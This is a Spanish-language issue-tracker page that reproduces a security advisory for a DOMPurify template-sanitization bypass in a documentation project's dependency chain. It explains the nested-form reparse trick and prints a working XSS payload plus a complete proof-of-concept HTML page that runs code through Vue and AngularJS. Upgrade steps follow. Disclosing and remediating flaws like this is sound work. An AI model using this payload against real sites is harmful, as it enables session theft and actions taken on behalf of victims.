GHSA-hrxw-jjj6-2g2j found in npm/[email protected]
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 2/5
- Tiempo estimado
- 1-3 horas
- Aptitud para principiantes
- 72/100
- Tipo de issue
- Error
- Claridad
- Bien especificado
- Estado de actividad
- Activo
- Stack tecnológico
- javascript
Línea de trabajo
Lee los manifiestos de paquetes y el archivo de bloqueo del repositorio para encontrar la ruta de dependencia hasta dompurify, identificada mediante @document-writing-tools/kernux-theme, @theguild/remark-mermaid y mermaid. Empieza comprobando la versión instalada de DOMPurify, luego actualízala a 3.5.0 o posterior y verifica que npm audit ya no informe de la dependencia vulnerable. El issue no especifica ningún archivo de pruebas ni comando de pruebas.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
GHSA-hrxw-jjj6-2g2j found in npm/[email protected]
[!important]
Risk:0.35 (Low)
CVSS:7.6
Description
Summary
With SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.18 returns a string that contains no {{ or }}, yet becomes a live {{…}} expression as soon as it is assigned to innerHTML. A template engine that compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.
The attacker controls only the markup passed to sanitize(). The only configuration required is SAFE_FOR_TEMPLATES: true, which is a protective option used for its documented purpose.
Reproduced on DOMPurify 3.4.18 (npm latest) in Chromium 156, Firefox 157 and WebKit 27.2. The plain {{…}} case is still scrubbed correctly, so this is a gap in the existing protection.
Details
SAFE_FOR_TEMPLATES is enforced in two places in src/purify.ts, and neither accounts for how the returned string is parsed a second time by the consumer.
-
Per text node, during the walk (around line 2122):
/* Sanitize element content to be template-safe */ if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) { const content = _stripTemplateExpressions(currentNode.textContent); ... -
After serialization, a tree scrub that only runs when the serialized output contains a marker (around line 2872):
if ( SAFE_FOR_TEMPLATES && regExpTest(EXPRESSIONS.TMPL_MARKER_SERIALIZED, serializedHTML) ) { _scrubOwnCharacterData(body); serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML; }with
TMPL_MARKER_SERIALIZED = /{{|}}|\${|<%|%>|<%|%>/insrc/regexp.ts.
Input:
<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}
Step 1, first parse (inside DOMPurify). </form> clears the parser's form element pointer while the <div> is still open, so the second <form> is accepted as a child of the <div>. The tree has three separate text nodes, {, {…} and }, with an element between them. No single text node contains {{ or }}, so the per-node scrub does nothing.
Step 2, serialization:
<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>
The string contains no {{ or }} (a <form> tag sits between the braces), so TMPL_MARKER_SERIALIZED does not match and the post-serialization scrub is skipped. Even if it ran, it works on the same tree, where the fragments are separate text nodes.
Step 3, second parse (in the consumer). When this string is assigned to innerHTML, the HTML parser ignores the inner <form> start tag because a form is already open. The three fragments become adjacent and merge into one text node:
{{constructor.constructor('alert(1)')()}}
Root cause: the guarantee is checked on DOMPurify's own tree and on the serialized string, but the output is not stable under a second parse. A nested <form> is a case where serialize-then-parse changes which text nodes are adjacent.
Suggested direction:
- After serialization, parse the output once more and run the text-node scrub on that tree, repeating until stable; or
- under SAFE_FOR_TEMPLATES, remove a
<form>nested inside another<form>, since it cannot survive a reparse; or - treat a lone
{/}at a text-node boundary as unsafe when the neighbouring text across an element boundary starts or ends with a brace.
A regression test for this shape would be worth adding; the current suite has none.
Proof of concept
Tested with DOMPurify 3.4.18 (npm latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.
Configuration: { SAFE_FOR_TEMPLATES: true }, nothing else.
Minimal check:
const clean = DOMPurify.sanitize(
"<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}",
{ SAFE_FOR_TEMPLATES: true }
);
// clean === "<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>"
const div = document.createElement('div');
div.innerHTML = clean;
// div.textContent === "{{constructor.constructor('alert(1)')()}}" (single text node)
End-to-end: save as poc.html and open it in a browser.
<!doctype html>
<meta charset="utf-8">
<script src="https://unpkg.com/[email protected]/dist/purify.js"></script>
<script src="https://unpkg.com/[email protected]/dist/vue.global.prod.js"></script>
<script src="https://unpkg.com/[email protected]/angular.min.js"></script>
<div id="vue-host"><div class="comment"></div></div>
<div id="ng-host"><div class="comment"></div></div>
<pre id="log"></pre>
<script>
const log = (m) => (document.getElementById('log').textContent += m + '\n');
window.xss = (tag) => log('EXECUTED: ' + tag);
const cfg = { SAFE_FOR_TEMPLATES: true };
const wrap = (expr) => `<form><div>{</form><form>{${expr}}</form>}`;
log('DOMPurify ' + DOMPurify.version);
// Vue 3 (in-DOM template)
const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss("vue")')()`), cfg);
log('vue clean: ' + cleanVue);
document.querySelector('#vue-host .comment').innerHTML = cleanVue;
Vue.createApp({}).mount('#vue-host');
// AngularJS 1.8.3
const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss("ng")')()`), cfg);
log('ng clean : ' + cleanNg);
document.querySelector('#ng-host .comment').innerHTML = cleanNg;
angular.bootstrap(document.getElementById('ng-host'), []);
</script>
Expected: the sanitized strings contain no live expression and nothing executes.
Actual, identical in all three browsers:
DOMPurify 3.4.18
vue clean: <form><div>{<form>{$emit.constructor('xss("vue")')()}</form>}</div></form>
EXECUTED: vue
ng clean : <form><div>{<form>{constructor.constructor('xss("ng")')()}</form>}</div></form>
EXECUTED: ng
Control, same config: <p>{{constructor.constructor('alert(1)')()}}</p> returns <p> </p>.
Server-side: with DOMPurify 3.4.18 on jsdom 27.0.1, the payload returns the same string, and parsing that string yields a single text node {{constructor.constructor('alert(1)')()}}.
Impact
Cross-site scripting through client-side template.
An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the page's origin for every user who views it: session theft, actions on behalf of the victim, and content manipulation.
Affected component
The vulnerability is in pkg:npm/[email protected], found in artifacts pkg:devguard/l3montree-cybersecurity/devguard/devguard-documentation.
Recommended fix
Upgrade to version 3.5.0 or later.
# Update all vulnerable npm packages
npm audit fix
# Update only this package
npm install [email protected]
Additional guidance for mitigating vulnerabilities
Visit our guides on devguard.org
See more details...
Path to component
%%{init: { 'theme':'base', 'themeVariables': {
'primaryColor': '#F3F3F3',
'primaryTextColor': '#0D1117',
'primaryBorderColor': '#999999',
'lineColor': '#999999',
'secondaryColor': '#ffffff',
'tertiaryColor': '#ffffff'
} }}%%
flowchart TD
Your_application(["Your application"]) --- pkg_npm__document_writing_tools_kernux_theme_3_1_3(["pkg:npm/@document-writing-tools/[email protected]"])
pkg_npm__document_writing_tools_kernux_theme_3_1_3(["pkg:npm/@document-writing-tools/[email protected]"]) --- pkg_npm__theguild_remark_mermaid_0_3_0(["pkg:npm/@theguild/[email protected]"])
pkg_npm__theguild_remark_mermaid_0_3_0(["pkg:npm/@theguild/[email protected]"]) --- pkg_npm_mermaid_11_17_2(["pkg:npm/[email protected]"])
pkg_npm_mermaid_11_17_2(["pkg:npm/[email protected]"]) --- pkg_npm_dompurify_3_4_17(["pkg:npm/[email protected]"])
classDef default stroke-width:2px
| Risk Factor | Value | Description |
|---|---|---|
| Vulnerability Depth | 4 |
The vulnerability is in a dependency of a dependency in your project. It is 4 levels deep. |
| EPSS | 0.00 % |
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days. |
| EXPLOIT | Not available |
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database. There are no script kiddies exploiting this vulnerability. |
| CVSS-BE | 6.4 |
|
| CVSS-B | 7.6 |
- The vulnerability can be exploited over the network without needing physical access. - It is easy for an attacker to exploit this vulnerability. - An attacker does not need any special privileges or access rights. |
More details can be found in DevGuard
Interact with this vulnerability
You can use the following slash commands to interact with this vulnerability:
👍 Reply with this to acknowledge and accept the identified risk.
/accept I accept the risk of this vulnerability, because ...
⚠️ Mark the risk as false positive: Use one of these commands if you believe the reported vulnerability is not actually a valid issue.
/component-not-present The vulnerable component is not included in the artifact.
/vulnerable-code-not-present The component is present, but the vulnerable code is not included or compiled.
/vulnerable-code-not-in-execute-path The vulnerable code exists, but is never executed at runtime.
/vulnerable-code-cannot-be-controlled-by-adversary Built-in protections prevent exploitation of this vulnerability.
/inline-mitigations-already-exist The vulnerable code cannot be controlled or influenced by an attacker.
🔁 Reopen the risk: Use this command to reopen a previously closed or accepted vulnerability.
/reopen ...
- Lenguaje dominante
- CSS
- Estrellas
- 8
- Forks
- 4
- Merge medio
- 3 d 18 h
- PR fusionados (30 d)
- 5
Preparar el entorno
- Incluye un Dockerfile o un archivo de Docker Compose
- Sin plantilla de pull request
- Leer la guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de l3montree-dev/devguard-documentation
-
cvss-severity:high devguard l3montree-cybersecurity/.../devguard-documentation pkg:oci/devguard-documen...ch=amd64&tag=main-amd64 risk:low state:open
Dificultad 2/5 1-3 horas Aptitud para principiantes 69/100
l3montree-dev/devguard-documentation#396 · 1 comentario ·
-
cvss-severity:high devguard l3montree-cybersecurity/.../devguard-documentation pkg:devguard/l3montree-c.../devguard-documentation risk:low state:open
Dificultad 1/5 Menos de una hora Aptitud para principiantes 74/100
l3montree-dev/devguard-documentation#393 · 1 comentario ·
-
cvss-severity:high devguard l3montree-cybersecurity/.../devguard-documentation pkg:oci/devguard-documen...ch=amd64&tag=main-amd64 risk:low state:open
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
l3montree-dev/devguard-documentation#382 · 1 comentario ·
-
cvss-severity:high devguard l3montree-cybersecurity/.../devguard-documentation pkg:devguard/l3montree-c.../devguard-documentation risk:low state:open
Dificultad 1/5 Menos de una hora Aptitud para principiantes 48/100
l3montree-dev/devguard-documentation#395 · 1 comentario ·
-
cvss-severity:high devguard l3montree-cybersecurity/.../devguard-documentation pkg:devguard/l3montree-c.../devguard-documentation risk:low state:open
Dificultad 1/5 Menos de una hora Aptitud para principiantes 55/100
l3montree-dev/devguard-documentation#397 · 1 comentario ·
Todos los issues de l3montree-dev/devguard-documentation
Issues similares
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
ehmpathy/declapract-typescript-ehmpathy#960 ·
Los mantenedores suelen responder en 1 día
-
LifetimeRemaining divides by zero when expireAfter is 0s, producing NaN disruption costsPosiblemente ocupada @weirong-ui la tomó hoy. Abiertokind/bug needs-priority needs-triage
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
kubernetes-sigs/karpenter#3728 · 1 comentario ·
Los mantenedores suelen responder en 1 día
-
ci: migrate pinned macos-15 runners to macos-26 and macos-26-intelPosiblemente ocupada @hawkingrei la tomó hoy. Abiertoenhancement
Dificultad 2/5 1-3 horas Aptitud para principiantes 85/100
nowledge-co/hawdb#2224 ·
Los mantenedores suelen responder en 1 día
-
bug
Dificultad 2/5 1-3 horas Aptitud para principiantes 76/100
hexlet-volunteers/hexlet-sicp#2092 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 65/100
buildkite/elastic-ci-stack-for-aws#2050 ·
Los mantenedores suelen responder en 1 día